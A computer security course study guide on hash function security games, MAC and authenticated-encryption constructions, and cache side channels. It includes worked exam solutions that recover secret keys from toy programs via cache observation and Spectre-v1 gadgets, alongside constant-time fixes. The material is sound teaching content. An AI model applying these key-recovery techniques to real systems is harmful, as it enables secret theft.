DD2395 Computer Security: Condensed Technical Study Guide

Formal Models, Operational Mechanics, Cryptographic Constructions, and Procedural Solution Frameworks

1. Cryptographic Hash Functions, Combiner Algebra, MACs, and Integrity

1.1 Cryptographic Hash Function Definitions and Security Games

A cryptographic hash function $H : \{0,1\}^* \to \{0,1\}^n$ is a deterministic, efficiently computable mapping from arbitrary-length bitstrings to fixed-length n-bit digests. Because $|\{0,1\}^*| = \infty > 2^n$, collisions exist unconditionally by the **pigeonhole principle**; security requires that finding them is computationally infeasible for any probabilistic polynomial-time (PPT) adversary $\mathcal{A}$.

Property	Challenger Input	Adversary Output	Formal Winning Condition & Operational Role
One-Wayness (Preimage Resistance)	Target digest $h \in \{0,1\}^n$	Input $x \in \{0,1\}^*$	Find any x such that $H(x) = h$. Protects secret inputs (e.g., password digests) from inversion. Generic cost: $\mathcal{O}(2^n)$.
Weak Collision Resistance (2nd-Preimage)	Fixed input $x \in \{0,1\}^*$	Input $y \in \{0,1\}^*$	Find $y \neq x$ such that $H(y) = H(x)$. Prevents substituting a forged file y for a fixed legitimate file x. Generic cost: $\mathcal{O}(2^n)$.
Strong Collision Resistance (Collision)	None (free choice)	Pair (x, y)	Find any pair $x \neq y$ such that $H(x) = H(y)$. Birthday bound generic cost: $\mathcal{O}(2^{n/2})$.

Logical Hierarchy and Reduction Rules:

- **Strong $\implies$ Weak Collision Resistance:** Any adversary $\mathcal{A}_{\text{weak}}$ that finds $y \neq x$ with $H(y) = H(x)$ for a given x immediately solves the strong collision game by fixing any arbitrary x and invoking $\mathcal{A}_{\text{weak}}(x)$ to output (x, y). Contrapositive: **Weak fails $\implies$ Strong automatically fails**; **Strong fails $\not\implies$ Weak fails**.
- **Independence of One-Wayness:** Collision resistance does *not* follow from one-wayness (e.g., $H(x) = \text{SHA256}(x_1 \oplus \cdots \oplus x_m)$ is one-way if SHA256 is one-way, yet trivially fails both weak and strong collision resistance). Conversely, a function leaking part of its input verbatim can be collision-resistant on the remaining bits while failing one-wayness on the leaked prefix.
- **Reduction Template (Proving a Property Holds via Primitive P):** Assume for contradiction an efficient inverter/collider g exists for H. Construct an explicit wrapper f around g that inverts or collides the underlying secure primitive P: for $H(x) = P(C(x))$, if $g(h)$ returns x with $H(x) = h$, then $f(h) \triangleq C(g(h))$ satisfies $P(f(h)) = H(g(h)) = h$ for every h, contradicting the one-wayness of P.

1.2 Algebraic Combiner Laws and Structural Vulnerability Taxonomy

Composite candidate hashes decompose into a secure primitive $P \in \{\text{SHA256}, E_K\}$ and a block combiner C operating on b-bit blocks $x = (x_1, x_2, \ldots, x_m)$.

Bitwise XOR ($\oplus$) on $\{0,1\}^b$: $u \oplus u = 0^b$ (self-cancel), $u \oplus 0^b = u$ (identity), $u \oplus v = v \oplus u$, $u \oplus v = w \iff u = w \oplus v$.

Modular Arithmetic ($\bmod 2^b$): $a \cdot z \equiv c \pmod{2^b}$ has unique $z \equiv a^{-1}c \pmod{2^b} \iff \gcd(a, 2^b) = 1$ (a is odd).

Boundary Constraints on Counterexamples:

- **Zero-Padding Invariance:** When trailing zeros are stripped or blocks are zero-padded, appending $b \,\|\, b$ with a non-zero block $b \in \{0,1\}^b \setminus \{0^b\}$ guarantees $y \neq x$ under XOR combiners without relying on trailing zero blocks.
- **Single-Block Fixed Input $x = (x_1)$ in Weak Collision:** Block permutation $x_1 \leftrightarrow x_2$ fails when $m = 1$; always use length extension $y = (x_1, b, b)$ (for XOR) or block splitting $y = ((x_1 - 1) \bmod 2^b, 1)$ (for unweighted modular sum) so $y \neq x$ holds for every $m \geq 1$.

1.3 Hash Standards, Length Extension, MACs, and Authenticated Encryption

- **Hash Standards: MD5** (128-bit, broken: practical collisions), **SHA-1** (160-bit, broken: practical collisions), **SHA-2** (SHA256/SHA512, Merkle–Damgård construction: collision-resistant and one-way, but vulnerable to *length extension*), **SHA-3** (Keccak sponge construction: immune to length extension).
- **Length-Extension Vulnerability (Merkle–Damgård):** Given $H(x)$ and byte-length $|x|$ of an unknown prefix $x = K \,\|\, M$, an attacker initializes the compression function state with $H(x)$ to compute $H(K \,\|\, M \,\|\, \text{pad}(|K \,\|\, M|) \,\|\, M')$ for any chosen suffix M' without knowing K. Thus, naive secret-prefix $\text{MAC}_K(M) = H(K \,\|\, M)$ is **existentially forgeable**.
- **Unkeyed Hashes vs. MACs:** An unkeyed digest $H(M)$ protects integrity *only* when $H(M)$ is delivered over an authenticated/read-only channel. Over an insecure channel where an active attacker modifies both $M \to M'$ and $h \to H(M')$, unkeyed hashes provide **zero integrity**.
- **Message Authentication Code (MAC) & EU-CPA Security:** A keyed scheme $T = \text{Mac}(K, M)$ with verification $\text{Verify}(K, M, T) \in \{0,1\}$. Under **Existential Unforgeability under Chosen-Plaintext Attack (EU-CPA)**, an adversary with oracle access to $\text{Mac}(K, \cdot)$ on chosen messages $\{M_1, \ldots, M_q\}$ cannot produce a valid tag T^* for any new message $M^* \notin \{M_1, \ldots, M_q\}$.

$$\text{NMAC}_{(K_1,K_2)}(M) = H\big(K_1 \,\|\, H(K_2 \,\|\, M)\big), \qquad \text{HMAC}_K(M) = H\big((K' \oplus \text{opad}) \,\|\, H((K' \oplus \text{ipad}) \,\|\, M)\big),$$

$$\textbf{MtE: } C = \text{Enc}_{K_e}\big(M \,\|\, \text{Mac}_{K_m}(M)\big), \qquad \textbf{EtM: } C = \text{Enc}_{K_e}(M),\ T = \text{Mac}_{K_m}(C),\ \text{send } (C, T).$$

Where ipad = `0x36`*, opad = `0x5c`*. A MAC is deterministic (provides **integrity/authenticity only**, no confidentiality or replay defense without a nonce). For Authenticated Encryption (AE), always use **Encrypt-then-MAC (EtM)** with independent keys (K_e, K_m): EtM verifies T *before* decryption, preventing tampered ciphertexts from reaching Dec_{K_e} (closing chosen-ciphertext, padding-oracle, and decryption timing channels).

Construction Shape	One-Way	Weak CR	Strong CR	Algebraic Attack / Reduction Mechanism
$H(x) = P(x_1 \oplus x_2 \oplus \cdots \oplus x_m)$	**Holds**	**Fails**	**Fails**	**Collision:** Given x, set $y = x \,\|\, b \,\|\, b$ for any block b ($b \oplus b = 0^b$), or append 0^b, or swap $x_1 \leftrightarrow x_2$ if $x_1 \neq x_2$. **One-way:** Reduction $f(h) = \bigoplus_i g(h)_i$ inverts P.
$H(x) = P\Big((\sum_{i=1}^{m} x_i) \bmod 2^b\Big)$	**Holds**	**Fails**	**Fails**	**Collision:** Given x, append 0^b ($y = x \,\|\, 0^b$), or split block x_1 into $(x_1 - 1) \,\|\, 1$, or swap $x_1 \leftrightarrow x_2$. **One-way:** Reduction $f(h) = (\sum_i g(h)_i) \bmod 2^b$ inverts P.
$H(x) = P\Big((\sum_{i=1}^{m} a_i x_i) \bmod 2^b\Big)$	**Holds**	**Fails**	**Fails**	**Collision:** Given x, append $y_{m+1} = 0^b$ (if $a_{m+1} \cdot 0 = 0$), or choose index j with odd a_j, perturb $y_k \neq x_k$ ($k \neq j$), and solve $y_j \equiv a_j^{-1}(C(x) - \sum_{i \neq j} a_i y_i) \pmod{2^b}$.
$H(x) = (\sum_{i=1}^{m} i \cdot x_i) \bmod 2^b$ (No P)	**Fails**	**Fails**	**Fails**	**Preimage of h:** Single-block $x = (h)$ gives $1 \cdot h \bmod 2^b = h$ (or for m blocks, set $x_1 = h, x_2 = \cdots = x_m = 0$). **Collision:** Append 0^b block: $y = (x_1, \ldots, x_m, 0^b)$.
$H(x) = P(x_1) \oplus P(x_2) \oplus \cdots \oplus P(x_m)$	**Holds**	**Fails**	**Fails**	**Collision:** Given x, append $b \,\|\, b$ for any block b since $P(b) \oplus P(b) = 0^n$; or permute blocks. **One-way:** Holds when P is modeled as a one-way random oracle.
$H(x) = P(x_1 \,\|\, x_3 \,\|\, x_5 \,\|\, \cdots)$	**Holds**	**Fails**	**Fails**	**Collision:** Modify any dropped/even block $x'_{2k} \neq x_{2k}$ while keeping odd blocks identical; $C(y) = C(x) \implies H(y) = H(x)$.
$H(x) = x_1 \,\|\, P(x_2 \,\|\, \cdots \,\|\, x_m)$	**Fails**	**Holds**	**Holds**	**Preimage Leak:** First b bits of $h = h_1 \,\|\, h_2$ immediately reveal $x_1 = h_1$ in cleartext. Collisions require colliding P on $(x_2 \,\|\, \cdots \,\|\, x_m)$ with $y_1 = x_1$.
$H(x) = E_K(x_1 \oplus \cdots \oplus x_m)$ (K public)	**Fails**	**Fails**	**Fails**	**Preimage of h:** Since K is known, apply inverse cipher D_K: choose 1-block $x = (D_K(h))$, then $E_K(D_K(h)) = h$. **Collision:** $y = x \,\|\, b \,\|\, b$.
Davies–Meyer: $h_i = E_{x_i}(h_{i-1}) \oplus h_{i-1}$	**Holds**	**Holds**	**Holds**	Feed-forward $\oplus h_{i-1}$ binds input and output of E_{x_i}: omitting $\oplus h_{i-1}$ allows inverting $h_{i-1} = D_{x_i}(h_i)$ for any chosen block x_i.

2. Cache & Timing Side-Channel Analysis and Constant-Time Remediation

2.1 Cache Geometry, Non-Interference, and Attacker Observation Models

Let program state $s = (s_H, s_L)$ be partitioned into **High (secret)** variables s_H and **Low (public / attacker-controlled)** variables s_L. A program satisfies **non-interference** with respect to an observation function $\mathcal{O}$ iff:

$$\forall s_L, \forall s_H, s'_H : \quad \mathcal{O}\big([\![P]\!](s_H, s_L)\big) = \mathcal{O}\big([\![P]\!](s'_H, s_L)\big).$$

Even when architectural outputs match, hardware execution exposes microarchitectural state via $\mathcal{O}$.

Direct-Mapped Cache Geometry and Line Mapping Formulas:

- **Parameters:** Total cache capacity S_{cache} bytes, N cache lines, line size L bytes ($S_{\text{cache}} = N \cdot L$), array element size b bytes (typically $b = 4$ for 32-bit `int`, $L = 64$ bytes).
- **Entries per Cache Line:** $E = \frac{L}{b}$ contiguous array elements share a single cache line (for $L = 64, b = 4 \implies E = 16$ elements per line).
- **Cache Line of Array Element $M[i]$:** If array M starts at cache line ℓ_0 (either 0-indexed $\ell_0 \in \{0, \ldots, N-1\}$ or 1-indexed $\ell_0 \in \{1, \ldots, N\}$ per specification):

$$\ell(M[i]) = \left(\ell_0 + \left\lfloor \frac{i \cdot b}{L} \right\rfloor\right) \bmod N = \left(\ell_0 + \left\lfloor \frac{i}{E} \right\rfloor\right) \bmod N.$$

- **Spatial Locality & Contiguous Slices:** Accessing $M[i]$ fetches the entire E-element block $M\big[E\lfloor i/E \rfloor \ldots E\lfloor i/E \rfloor + E - 1\big]$ into line $\ell(M[i])$. Any subsequent access $M[j]$ with $\lfloor j/E \rfloor = \lfloor i/E \rfloor$ (and no intervening eviction) is a **cache hit**.
- **Direct-Mapped Eviction (Conflict Miss):** Two distinct memory blocks $B_1 \neq B_2$ mapping to the same cache line $\ell(B_1) = \ell(B_2)$ cannot coexist in the cache; loading B_2 unconditionally evicts B_1.

Attacker Model	Observable $\mathcal{O}$	Setup Mechanism	Operational Capability & Resolution
Time-Driven	Total miss count $M_{\text{total}} \in \mathbb{N}$	Cold cache or known initial state	Measures overall execution time $\propto M_{\text{total}}$. Distinguishes runs iff $M_{\text{total}}(s_H, s_L) \neq M_{\text{total}}(s'_H, s_L)$.
Access-Driven	Set of touched lines $T \subseteq \{1, \ldots, N\}$	**Flush+Reload** or **Prime+Probe**	Flushes cache or primes all N lines with attacker data before victim runs; probes reload latency to identify every cache line touched/evicted by victim, but *not* intra-line offset i mod E or access count per line.
Trace-Driven	Sequence $(o_1, o_2, \ldots, o_k) \in \{\text{H}, \text{M}\}^k$	Per-instruction power/EM/timing profile	Observes exact ordered hit/miss outcome of each memory operation; immediately reveals taken branches and loop trip counts.

2.2 Applied Solution Scheme: Procedural Side-Channel Analysis & Remediation

Applied Solution Scheme: 6-Step Side-Channel Leak Extraction, Correlation, and Remediation Workflow

Step 1: Derive the Exact Cache-Line Partition and Initial State: Compute $E = L/b$. Partition each array into contiguous slices of E indices and write the explicit map $M[i] \mapsto \ell(M[i])$. Record which line holds scalar local variables (ℓ_{scalar}), whether the cache starts empty (cold) or flushed, and whether two arrays A, B share lines ($\ell(A[i]) = \ell(B[i])$).

Step 2: Perform a Line-by-Line Taint & Control-Flow Audit: Classify every variable as **High (secret)** or **Low (public/input)**. Flag an instruction as a leak source iff at least one of the following holds:

- *Direct Secret-Indexed Access:* Memory access $M[\phi(s_H, s_L)]$ where index ϕ depends on a secret variable.
- *Indirect (Dataflow) Secret-Indexed Access:* A variable C receives a value dependent on a secret (e.g., $C \leftarrow M[\phi(s_H, s_L)]$ when $M[i] = i$) and C is subsequently used as an array index $M[C]$.
- *Secret-Dependent Branch:* Condition `if (`$p(s_H)$`)` executes different memory accesses or accesses different arrays on the `then` vs. `else` path (even when the index q inside the branch is public).
- *Secret-Dependent Loop Bound:* Loop `while (`$i < s_H$`)` varies the total number of memory accesses or cache lines touched as a function of s_H.

Instructions accessing only scalars on ℓ_{scalar} or constant/public indices $M[\psi(s_L)]$ do *not* leak directly, though they alter cache residency for subsequent instructions.

Step 3: Construct the Single-Run Observation Function $\mathcal{O}(s_H, s_L)$:

- *Access-Driven Model:* Write the set of touched cache lines $T(s_H, s_L) = \{\ell_{\text{scalar}}\} \cup \{\ell(M[\phi_k(s_H, s_L)])\}_k$.
- *Time-Driven Model:* Trace cache residency sequentially from instruction 1 to m. Each first access to a block adds +1 miss and caches that block in line ℓ; each subsequent access to the *same* block while resident adds 0 misses (hit); accessing a *colliding* block on line ℓ adds +1 miss and evicts the prior block. Sum to obtain $M_{\text{total}}(s_H, s_L)$.

Step 4: Execute Multi-Run Input Sweep & Boundary Correlation:

- *Fixed Input (No Attacker Knob):* Partition the secret space by $\mathcal{O}(s_H)$. An access $M[A]$ reveals $\ell^* = \ell_0 + \lfloor A/E \rfloor$, narrowing A to the E-element candidate set $\{E(\ell^* - \ell_0), \ldots, E(\ell^* - \ell_0) + E - 1\}$.
- *Swept Attacker Input $D \in \{0, 1, \ldots, D_{\max} - 1\}$:* When the leaked line is $\ell(D) = \ell_0 + \lfloor (D + A)/g \rfloor$ (where $g = E$ for index $D + A$, or $g = kE$ for index $\lfloor (D + A)/k \rfloor$):
  (a) Query $D = 0$ to observe baseline line $\ell(0) = \ell_0 + \lfloor A/g \rfloor$, pinning the coarse interval of A.
  (b) Increment $D = 1, 2, \ldots$ until the first input D^* where $\ell(D^*) = \ell(0) + 1$ (or where a line collision alters M_{total}).
  (c) Solve the exact boundary transition equation:

$$D^* + A = g \cdot \big(\lfloor A/g \rfloor + 1\big) \implies A = g \cdot \big(\lfloor A/g \rfloor + 1\big) - D^*.$$

Step 5: Synthesize a Leak-Matched Constant-Time or Cache-Normalized Fix:

- *Cache Preloading (Priming):* Valid **only** when all blocks of M fit simultaneously in the cache without conflict eviction. Preload one element per cache line before the secret access: `C = M[0]; C = M[E]; C = M[2E]; ...; C = 0;`. Every run touches all array lines and incurs the exact same miss count.
- *Branchless Constant-Time Selection (for Secret Branches / Colliding Arrays):* When arrays A and B collide on the same cache lines, preloading fails because loading B evicts A. Eliminate the branch by executing *both* loads unconditionally in fixed order and selecting arithmetically for $v \in \{0, 1\}$:

```
t1 = B[q];   t2 = A[q];   r += v * t1 + (1 - v) * t2;
```

- *Constant-Bound Loop Dummy Padding (for Secret Loop Bounds):* Replace `while (i < A)` with the fixed worst-case bound `while (i < A_MAX)`, touching every cache line on each pass and using a branchless mask $m = (i < A)$ to accumulate into the real result or a dummy sink.

Step 6: Evaluate Speculative Execution (Spectre-v1) Amplification: On a mispredicted branch (e.g., bounds check `if (D < 64)`), the CPU transiently executes instructions along the wrong path whose cache line fetches persist after architectural rollback. Additional secret disclosure occurs **iff both gadgets exist**:

- **Reading Gadget:** A transient out-of-bounds or unauthorized load fetches a secret variable B into a register C (e.g., choosing D so address $\&M[(D + A)/2] = \&B$).
- **Transmitting Gadget:** A subsequent transient memory operation uses the register C as part of an address (e.g., `M[C]`), loading cache line $\ell(M[B])$ into the cache where Prime+Probe / Flush+Reload recovers $\lfloor B/E \rfloor$.

If no instruction uses the transiently read secret as a memory address, speculative execution leaks **zero additional secret information**.

Verification, Boundary Conditions & Sanity Checks: Cache Side-Channel & Speculative Execution Analysis

- **Effective Granularity Check (g):** If the array index is $\lfloor (D + A)/k \rfloor$ with integer division by k and E entries per line, the line index is $\ell_0 + \lfloor (D + A)/(k \cdot E) \rfloor$. The transition step size is $g = k \cdot E$ (e.g., $k = 2, E = 16 \implies g = 32$, not 16).
- **Boundary Off-By-One Sanity Check:** Test $A = 0$ and $A = g - 1$. At $A = g - 1$, $D = 0$ gives $\lfloor (g - 1)/g \rfloor = 0$, while $D^* = 1$ gives $\lfloor g/g \rfloor = 1$; substituting $D^* = 1$ into $A = g(\lfloor A/g \rfloor + 1) - D^*$ yields $A = g(0 + 1) - 1 = g - 1$ (✓).
- **Scalar Line Accounting:** If all scalar variables (A, B, C, D, i) reside in dedicated line ℓ_{scalar}, the first scalar touch in a cold cache costs exactly 1 miss and every subsequent scalar access in that run is a hit (0 misses), provided no array block maps to ℓ_{scalar}.
- **Colliding Array Fix Verification:** If array A and array B map to the same lines, verify that in the constant-time rewrite `t1 = B[q]; t2 = A[q];`, the access `B[q]` always evicts any resident A-block on line $\lfloor q/E \rfloor$, forcing `A[q]` to miss unconditionally. Thus the miss count is strictly constant across all values of u, v, q.

2.3 Worked Applied Problem Templates

Applied Problem Template: 2A — Access-Driven Leak, Indirect Taint, Input-Sweep Recovery, Priming Fix, and Spectre-v1

Problem Specification: Consider a system with a non-shared direct-mapped data cache of total size 320 bytes divided into $N = 5$ lines of $L = 64$ bytes each (lines 1..5). An integer array `int M[64]` (4-byte `int`s) maps to lines 1..4, initialized publicly as `M[i] = i` for $0 \le i < 64$. Scalar variables `A`, `B`, `C`, `D` are 4-byte integers sharing cache line 5. `A` and `B` are 6-bit secret keys ($0 \le A, B < 64$); `D` is an attacker-chosen input. The attacker is **access-driven**: before each run, the cache is flushed, and after the victim terminates, the attacker observes the exact subset of cache lines $\{1, \ldots, 5\}$ touched during execution.

```
1:  C = 0;
2:  if (D < 64) {
3:      C += M[D];
4:      C += M[(D + A) / 2];
5:      C += M[C] + B;
6:  }
```

Tasks: (a) Identify all instructions that leak secret information via the cache. (b) Formulate the exact multi-run attack procedure to recover the secret A. (c) Write a code modification that eliminates the side-channel leak. (d) Determine whether speculative execution across the branch at line 2 allows the attacker to recover secret B as well.

Procedural Solution Execution:

- **Step 1 (Cache-Line Mapping):** Element size $b = 4$ bytes, line size $L = 64$ bytes $\implies E = 64/4 = 16$ entries per line.

With 1-indexed array base $\ell_0 = 1$:

$$\ell(\texttt{M}[i]) = 1 + \lfloor i/16 \rfloor \in \{1,2,3,4\} \quad (0 \le i < 64), \qquad \ell(A) = \ell(B) = \ell(C) = \ell(D) = 5.$$

Specifically: `M`[0..15] $\mapsto$ line 1, `M`[16..31] $\mapsto$ line 2, `M`[32..47] $\mapsto$ line 3, `M`[48..63] $\mapsto$ line 4.

- **Step 2 (Line-by-Line Taint & Leak Audit — Task a):**
  - *Lines 1–3:* Touch only scalars on line 5 and `M`$[D]$ whose index D is public (attacker-chosen). No secret dependence.
  - *Line 4 (`C += M[(D + A) / 2]`):* **Direct leak.** The array index $\lfloor (D+A)/2 \rfloor$ depends directly on secret A.
  - *Line 5 (`C += M[C] + B`):* **Indirect (dataflow) leak.** Because `M`$[i] = i$, after line 3 we have $C = D$, and after line 4 we have $C = D + \lfloor (D+A)/2 \rfloor$ (or if line 3 is absent, $C = \lfloor (D+A)/2 \rfloor$). Thus variable C is tainted by secret A, making the memory index `M`$[C]$ in line 5 secret-dependent. Reading scalar B touches only line 5 (already touched at line 1), so B does *not* leak architecturally.
- **Step 3 (Single-Run Observation Function):** For any valid run ($0 \le D < 64$), line 5 (scalars) and line $\ell(\texttt{M}[D]) = 1 + \lfloor D/16 \rfloor$ are known. Line 4 touches cache line:

$$\ell_4(D) = 1 + \left\lfloor \frac{\lfloor (D+A)/2 \rfloor}{16} \right\rfloor = 1 + \left\lfloor \frac{D+A}{32} \right\rfloor \in \{1,2,3,4\} \quad \text{(granularity } g = 2 \cdot 16 = 32\text{)}.$$

- **Step 4 (Multi-Run Input Sweep & Exact Recovery of A — Task b):**
  1. *Baseline Run ($D = 0$):* Attacker runs with $D = 0$ and observes $\ell_4(0) = 1 + \lfloor A/32 \rfloor$. Since $0 \le A < 64$:
  $$\ell_4(0) = 1 \implies A \in \{0,\dots,31\} \text{ (MSB of } A \text{ is 0)}; \qquad \ell_4(0) = 2 \implies A \in \{32,\dots,63\} \text{ (MSB of } A \text{ is 1)}.$$
  2. *Boundary Sweep ($D = 1, 2, \dots, 32$):* Attacker increments D until observing the smallest $D^* \ge 1$ where the touched line increases to $\ell_4(D^*) = \ell_4(0) + 1$.
  3. *Exact Algebraic Inversion:* At $D = D^*$, $D^* + A$ crosses $32 \cdot \ell_4(0)$:
  $$D^* + A = 32 \cdot \ell_4(0) \implies A = 32 \cdot \ell_4(0) - D^*.$$
  (*Sanity Check:* If $A = 29$, then $D = 0 \implies \ell_4(0) = 1 + \lfloor 29/32 \rfloor = 1$; first jump to line 2 occurs when $D^* + 29 = 32 \implies D^* = 3$; formula gives $A = 32(1) - 3 = 29$ ✓.)
- **Step 5 (Cache-Normalized Remediation — Task c):** Because `M[0..63]` occupies 4 lines and the cache has 5 lines (with scalars in line 5), the entire array fits simultaneously without self-eviction. Preload (prime) all four array lines prior to line 2:

```
C = M[0];   C = M[16];   C = M[32];   C = M[48];   C = 0;
```

  Verification: Every execution now touches the exact same line set $T = \{1,2,3,4,5\}$ (and incurs 5 cold misses) regardless of A, B, D.
- **Step 6 (Speculative Execution / Spectre-v1 Analysis — Task d): Yes — speculative execution leaks secret B.** After training the branch predictor on line 2 with inputs $D < 64$ and recovering A, the attacker supplies an out-of-bounds value $D \ge 64$ chosen such that the address of `M`$[(D+A)/2]$ equals the memory address of scalar B on line 5 (i.e., $(D+A)/2 = (\&B - \&M)/4$). When line 2 mispredicts as taken:
  - *Reading Gadget (Line 4):* Transiently executes `C += M[(D + A) / 2]`, performing an out-of-bounds read that loads the value of secret B into C.
  - *Transmitting Gadget (Line 5):* Transiently executes `C += M[C] + B`, using the secret-tainted C (which now depends on B) as the index into `M`$[C]$. This fetches cache line $\ell(\texttt{M}[C])$ into the cache, allowing the access-driven attacker to observe the touched cache line and recover B.

Applied Problem Template: 2B — Time-Driven Attack on Colliding Arrays, Miss-Count Matrix, and Branchless Fix

Problem Specification: A processor has a 3-line direct-mapped data cache ($N = 3$ lines, 0..2, $L = 64$ bytes/line). Two 4-byte integer arrays `A[32]` and `B[32]` both map to cache lines 0 and 1: specifically, `A`[0..15] and `B`[0..15] collide on line 0, while `A`[16..31] and `B`[16..31] collide on line 1. Scalar variables `u`, `v`, `q`, `r` occupy cache line 2. Secret $u \in \{0,\dots,31\}$ is a 5-bit secret index, secret $v \in \{0,1\}$ is a 1-bit secret flag, and $q \in \{0,\dots,31\}$ is an attacker-chosen input. The cache is initially empty before each run, and a **time-driven** attacker measures total cache misses $M_{\text{total}}(u,v,q)$.

```
1:  r = 0;
2:  r += A[u];
3:  if (v == 1)
4:      r += B[q];
5:  else
6:      r += A[q];
```

Tasks: (a) Identify all leak sources. (b) Derive $M_{\text{total}}(u,v,q)$ for every case and show what the attacker learns by sweeping $q \in \{0,\dots,31\}$. (c) Rewrite the program so execution time is strictly independent of u and v, and prove why cache preloading alone cannot fix this program. (d) Evaluate whether speculative execution of line 3 leaks additional information.

Procedural Solution Execution:

- **Step 1 (Cache-Line Mapping & Collisions):** $E = 64/4 = 16$. $\ell(\texttt{A}[i]) = \ell(\texttt{B}[i]) = \lfloor i/16 \rfloor \in \{0,1\}$, and $\ell_{\text{scalar}} = 2$. Because the cache is direct-mapped, `A`$[16\ell..16\ell+15]$ and `B`$[16\ell..16\ell+15]$ evict each other on line $\ell \in \{0,1\}$.
- **Step 2 (Leak Sources — Task a):** Line 2 (`r += A[u]`) has a secret-dependent index u, loading the A-block of line $\lfloor u/16 \rfloor$. Line 3 (`if (v == 1)`) is a secret-dependent branch that selects between `B`$[q]$ (line 4) and `A`$[q]$ (line 6), making the hit/miss behavior of lines 4/6 depend on both v and $\lfloor u/16 \rfloor$ even though index q is public.
- **Step 3 (Single-Run Miss-Count Derivation):**
  - Line 1 touches scalar line 2 (cold) $\implies$ **1 miss** (line 2 now holds scalars; all later scalar touches are hits).
  - Line 2 accesses `A`$[u]$ on cold line $\lfloor u/16 \rfloor \implies$ **+1 miss** (line $\lfloor u/16 \rfloor$ now holds the A-block).
  - *Case $v = 1$ (Line 4 executes `B[q]`):* Requires the B-block of line $\lfloor q/16 \rfloor$. Line $\lfloor q/16 \rfloor$ is either empty (if $\lfloor q/16 \rfloor \ne \lfloor u/16 \rfloor$) or holds the colliding A-block (if $\lfloor q/16 \rfloor = \lfloor u/16 \rfloor$). In both subcases, the B-block is not resident $\implies$ **+1 miss**. Thus

$M_{\text{total}}(u, 1, q) = 3$ misses for all q.

- *Case $v = 0$ (Line 6 executes `A[q]`):* Requires the A-block of line $\lfloor q/16 \rfloor$. This is a **cache hit (+0 misses)** iff $\lfloor q/16 \rfloor = \lfloor u/16 \rfloor$, and a **cache miss (+1 miss)** iff $\lfloor q/16 \rfloor \neq \lfloor u/16 \rfloor$. Thus:

$$M_{\text{total}}(u, v, q) = \begin{cases} 2 \text{ misses}, & \text{if } v = 0 \text{ and } \lfloor q/16 \rfloor = \lfloor u/16 \rfloor, \\ 3 \text{ misses}, & \text{if } v = 1 \text{ or } \lfloor q/16 \rfloor \neq \lfloor u/16 \rfloor. \end{cases}$$

- **Step 4 (Multi-Run Sweep over $q \in \{0, \ldots, 31\}$ — Task b):**
  - If *every* $q \in \{0, \ldots, 31\}$ yields 3 misses, then $v = 1$ (recovered **exactly**), and u remains completely unknown (32 candidates), because no $B[q]$ access ever hits the cached $A[u]$ block.
  - If some q^* yields a fast run (2 misses), then $v = 0$ (recovered **exactly**), and $\lfloor u/16 \rfloor = \lfloor q^*/16 \rfloor$, narrowing u to the 16 candidates in that cache line ($\{0, \ldots, 15\}$ if $q^* < 16$, or $\{16, \ldots, 31\}$ if $q^* \geq 16$). Because q does not add to u inside a shared index, the intra-line offset u mod 16 cannot be resolved.
- **Step 5 (Constant-Time Branchless Rewrite — Task c):** *Why Preloading Fails:* A and B occupy 4 blocks total but both map solely to lines 0 and 1; loading B evicts A, so both arrays can never reside in cache simultaneously. Instead, remove the secret branch and load $B[q]$ before $A[q]$:

```
1:  r = 0;   r += A[u];   t1 = B[q];   t2 = A[q];   r += v * t1 + (1 - v) * t2;
```

  Miss-Count Verification: Scalar line 2 (1 miss) + `A`$[u]$ (1 miss) + `B`$[q]$ (1 miss, since no B-block is resident) + `A`$[q]$ (1 miss, because `B`$[q]$ just evicted line $\lfloor q/16 \rfloor$, so `A`$[q]$ misses even if $\lfloor q/16 \rfloor = \lfloor u/16 \rfloor$). Total = **4 misses** unconditionally for all (u, v, q).
- **Step 6 (Speculative Execution — Task d): No additional secret information is leaked.** Mispredicting line 3 transiently executes `B`$[q]$ or `A`$[q]$, whose index q is already public (no *reading gadget* over a secret) and no subsequent instruction indexes memory using a transiently read secret (no *transmitting gadget*).

Applied Problem Template: 2C — Secret-Dependent Loop Bound, Multi-Line Footprint, and Constant-Bound Rewrite

Problem Specification: Consider the 5-line direct-mapped cache from Template 2A (`M`[0..63] in lines 1..4 with $E = 16$ ints/line, scalars A, B, C, D, i in line 5, secret $0 \leq A, B < 64$, attacker input D). An access-driven attacker flushes the cache before each run and observes the set of touched cache lines:

```
1:  C = 0;   i = 0;
2:  if (D < 64) {
3:      while (i < A) {
4:          C += M[(D + i) % 64];
5:          i = i + 1;
6:      }
7:      C += B;
8:  }
```

Tasks: (a) Identify the leak sources. (b) Explain how the access-driven attacker recovers A by varying D (and how a time-driven attacker recovers A even with fixed $D = 0$). (c) Write a constant-time fix that eliminates both access-driven and time-driven leakage.

Procedural Solution Execution:

- **Steps 1–2 (Cache Mapping & Leak Audit — Task a):** $\ell($`M`$[k]) = 1 + \lfloor k/16 \rfloor \in \{1..4\}$, $\ell_{\text{scalar}} = 5$. Line 3 (`while (i < A)`) is a **secret-dependent loop bound**: the loop executes A iterations, so the set of accessed indices $\{(D+i) \bmod 64 : 0 \leq i < A\}$ and total loop runtime depend directly on secret A. Line 7 (`C += B`) touches only scalar line 5 (already loaded at line 1) and does not leak B.
- **Steps 3–4 (Single-Run Observation & Multi-Run Recovery of A — Task b):**
  - *Access-Driven Recovery:* For $A = 0$, the loop body never executes and only scalar line 5 is touched ($T = \{5\} \implies A = 0$ immediately). For $A \geq 1$, the loop touches contiguous indices $D, D + 1, \ldots, (D + A - 1)$ mod 64. At $D = 0$, the highest index accessed is $A - 1$, touching lines $\{1, \ldots, 1 + \lfloor (A - 1)/16 \rfloor\}$, which narrows A to a 16-value interval. Incrementing $D = 1, 2, \ldots, 16$ shifts the interval $[D, D + A - 1]$ upward; the first D^* where a new cache line $1 + \lfloor (A - 1)/16 \rfloor + 1$ appears satisfies $D^* + A - 1 = 16 \cdot (\lfloor (A - 1)/16 \rfloor + 1)$, pinning A **uniquely**.
  - *Time-Driven Recovery:* Even simpler if instruction execution time is measured: A iterations execute A loop passes (and incur $\lceil A/16 \rceil$ array misses at $D = 0$), leaking A directly from total cycle count.
- **Step 5 (Constant-Bound + Cache-Normalized Fix — Task c):** To defeat both access-driven and time-driven attackers, replace the secret loop bound A with the fixed maximum 64 and accumulate conditionally without branching:

```
1:  C = 0;   i = 0;
2:  if (D < 64) {
3:      while (i < 64) { int m = (i < A);   C += m * M[(D + i) % 64];   i = i + 1; }
4:      C += B;
5:  }
```

